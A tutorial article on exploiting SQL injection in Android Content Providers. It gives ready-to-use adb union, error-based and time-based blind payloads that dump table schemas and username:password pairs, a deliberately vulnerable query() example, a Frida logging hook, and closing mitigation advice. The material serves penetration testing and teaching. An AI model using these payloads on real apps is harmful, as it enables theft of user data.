Introduction to Android Content Provider SQL Injection
Android Content Providers are a crucial component for managing and sharing structured data between applications, or within a single application’s components. They act as an interface to a data source, which can be a SQLite database, files, or even a network source. While incredibly powerful, poorly implemented Content Providers can expose applications to severe security vulnerabilities, most notably SQL Injection (SQLi).
This article dives deep into exploiting Content Provider SQL Injection vulnerabilities, covering three primary techniques: Union-Based, Error-Based, and Blind SQLi. We’ll explore how these can be leveraged using standard Android Debug Bridge (ADB) commands and even advanced instrumentation with Frida hooks to extract sensitive data or manipulate application behavior.
Understanding Content Providers and SQLi
A Content Provider exposes its data through a URI (Uniform Resource Identifier) and methods like query(), insert(), update(), and delete(). The query() method is often the primary target for SQL injection, as it typically takes SQL-like parameters:
uri: The URI of the content to query.projection: The columns to return.selection: A filter declaring which rows to return, formatted as an SQL WHERE clause.selectionArgs: Values to replace?in theselectionstring.sortOrder: How to order the rows in the cursor.
The vulnerability arises when the selection or selectionArgs parameters are directly concatenated into an underlying SQL query without proper sanitization or parameterization. SQLite, the database typically used by Android apps, is very flexible, making it susceptible to classic SQLi techniques.
Example of a Vulnerable Query Method
Consider a Content Provider’s query method that constructs a raw SQL query:
@Overridepublic Cursor query(Uri uri, String[] projection, String selection,String[] selectionArgs, String sortOrder) { SQLiteQueryBuilder queryBuilder = new SQLiteQueryBuilder(); queryBuilder.setTables(DATABASE_TABLE); // ... uri matching logic ... // Potentially vulnerable if 'selection' is not handled correctly String finalQuery = queryBuilder.buildQuery(projection, selection, selectionArgs, null, null, sortOrder, null); return db.rawQuery(finalQuery, selectionArgs);}
If selection is passed directly without adequate sanitization, an attacker can inject arbitrary SQL.
1. Union-Based SQL Injection
Union-based injection allows an attacker to retrieve data from other tables within the database by appending a UNION SELECT statement to the original query. This technique requires knowing the number of columns and their data types in the original query’s result set.
Steps to Perform Union-Based SQLi:
- Determine Column Count: Incrementally guess the number of columns until a valid query is formed or an error indicates mismatch.
adb shell content query --uri content://com.example.app.provider/users --selection "1=1 UNION SELECT null"(Incrementnullcount) - Determine Column Types: Once the column count is known, replace
nulls with literal values (e.g.,'A',1) to find columns that can display strings.adb shell content query --uri content://com.example.app.provider/users --selection "1=1 UNION SELECT null, 'UNIONTEST', null, null" - Extract Database Schema and Data: Use SQLite master table to find table names, then column names, and finally sensitive data.
Example: Extracting Table Names
Assuming 4 columns and the second column displays strings:
adb shell content query --uri content://com.example.app.provider/users --selection "1=1 UNION SELECT null, name, null, null FROM sqlite_master WHERE type='table'"
This will list all table names in the database. Once a target table (e.g., secret_data) is found, you can enumerate its columns:
adb shell content query --uri content://com.example.app.provider/users --selection "1=1 UNION SELECT null, sql, null, null FROM sqlite_master WHERE type='table' AND name='secret_data'"
Finally, extract data from the target table:
adb shell content query --uri content://com.example.app.provider/users --selection "1=1 UNION SELECT null, username || ':' || password, null, null FROM secret_data"
2. Error-Based SQL Injection
Error-based SQLi exploits database error messages to extract information. This is effective when the application displays or logs SQL errors that contain parts of the query result. SQLite offers functions that can be coerced into generating errors containing desired data.
Common Error-Based Techniques:
- Using aggregate functions with subqueries that return multiple rows, forcing an error with the desired data.
- Using functions like
load_extension()with non-existent libraries orCAST()with incompatible types.
Example: Error-Based Extraction with `sqlite_version()`
Let’s say we want to retrieve the SQLite version:
adb shell content query --uri content://com.example.app.provider/users --selection "1=1 AND (SELECT 1 FROM (SELECT count(*),sqlite_version() FROM users GROUP BY 2))"
This query attempts to group by the result of sqlite_version(), which is a scalar. When used in a subquery with GROUP BY and an aggregate function, SQLite might throw an error revealing the version. More complex payloads can be crafted to extract specific data by nesting subqueries and using functions like substr().
3. Blind SQL Injection
Blind SQLi is used when the application does not return direct output or error messages from the database. Instead, an attacker infers information by observing application behavior (e.g., response time for time-based, or boolean logic for content changes).
Types of Blind SQLi:
- Boolean-Based: Injects conditions that make the query return true or false, observing subtle differences in the application’s response (e.g., a specific error message, a different number of results).
- Time-Based: Injects commands that cause a delay in the database response if a condition is true.
Example: Time-Based Blind SQLi
We can use SQLite’s sleep() function (if available) or craft a resource-intensive operation in a conditional statement.
Check if the first character of the ‘username’ in ‘secret_data’ table is ‘a’:
adb shell content query --uri content://com.example.app.provider/users --selection "1=1 AND (SELECT CASE WHEN (SUBSTR((SELECT username FROM secret_data LIMIT 1),1,1)='a') THEN sqlite_sleep(5) ELSE 0 END)"
If the response takes approximately 5 seconds longer than usual, it indicates the condition is true. This process is then automated, iterating through characters and positions to extract data character by character.
Frida Hooks for Enhanced Content Provider Exploitation
Frida is a dynamic instrumentation toolkit that allows developers and security researchers to inject JavaScript snippets into running processes. For Content Provider SQLi, Frida can be invaluable for:
- Logging the actual SQL queries executed by the Content Provider.
- Intercepting and modifying
selection/selectionArgsbefore they reach the database. - Bypassing input sanitization logic for testing.
Example Frida Script to Log Queries
Java.perform(function() { var ContentResolver = Java.use('android.content.ContentResolver'); ContentResolver.query.overload('android.net.Uri', '[Ljava.lang.String;', 'java.lang.String', '[Ljava.lang.String;', 'java.lang.String').implementation = function(uri, projection, selection, selectionArgs, sortOrder) { console.log("[Frida] ContentResolver.query Called:"); console.log(" URI: " + uri); console.log(" Selection: " + selection); console.log(" Selection Args: " + (selectionArgs ? JSON.stringify(selectionArgs) : "null")); console.log(" Sort Order: " + sortOrder); return this.query(uri, projection, selection, selectionArgs, sortOrder); }; // Hook the actual ContentProvider's query method if known // var MyProvider = Java.use('com.example.app.provider.MyContentProvider'); // MyProvider.query.overload('android.net.Uri', '[Ljava.lang.String;', 'java.lang.String', '[Ljava.lang.String;', 'java.lang.String').implementation = function(...) { ... };});
This script, when attached to the target app, will log the parameters passed to ContentResolver.query(), aiding in understanding how queries are constructed and where injection might occur.
Mitigation Strategies
Preventing Content Provider SQLi involves:
- Parameterized Queries: Always use parameterized queries (e.g.,
selectionArgswith?placeholders) for dynamic input in theselectionclause. Never concatenate user input directly into SQL statements. - Input Validation: Rigorously validate and sanitize all user-supplied input before using it in queries.
- Least Privilege: Only grant necessary permissions to Content Providers and the underlying database.
- Content Provider Exported Status: Carefully consider if a Content Provider truly needs to be exported (
android:exported="true"). If not, set it tofalse.
Conclusion
Content Provider SQL Injection remains a critical vulnerability in Android applications. Mastering Union-Based, Error-Based, and Blind injection techniques empowers security professionals to identify and exploit these flaws effectively. Coupled with powerful instrumentation tools like Frida, a thorough understanding of these attack vectors is essential for robust Android application penetration testing and ensuring data security.
Android Mobile Specs & Compare Directory
Are you researching mobile hardware properties, processor SoCs, GPU chipsets, or RAM configurations? Access our complete specs catalog to compare up to 5 devices side-by-side!
Compare Devices Specs →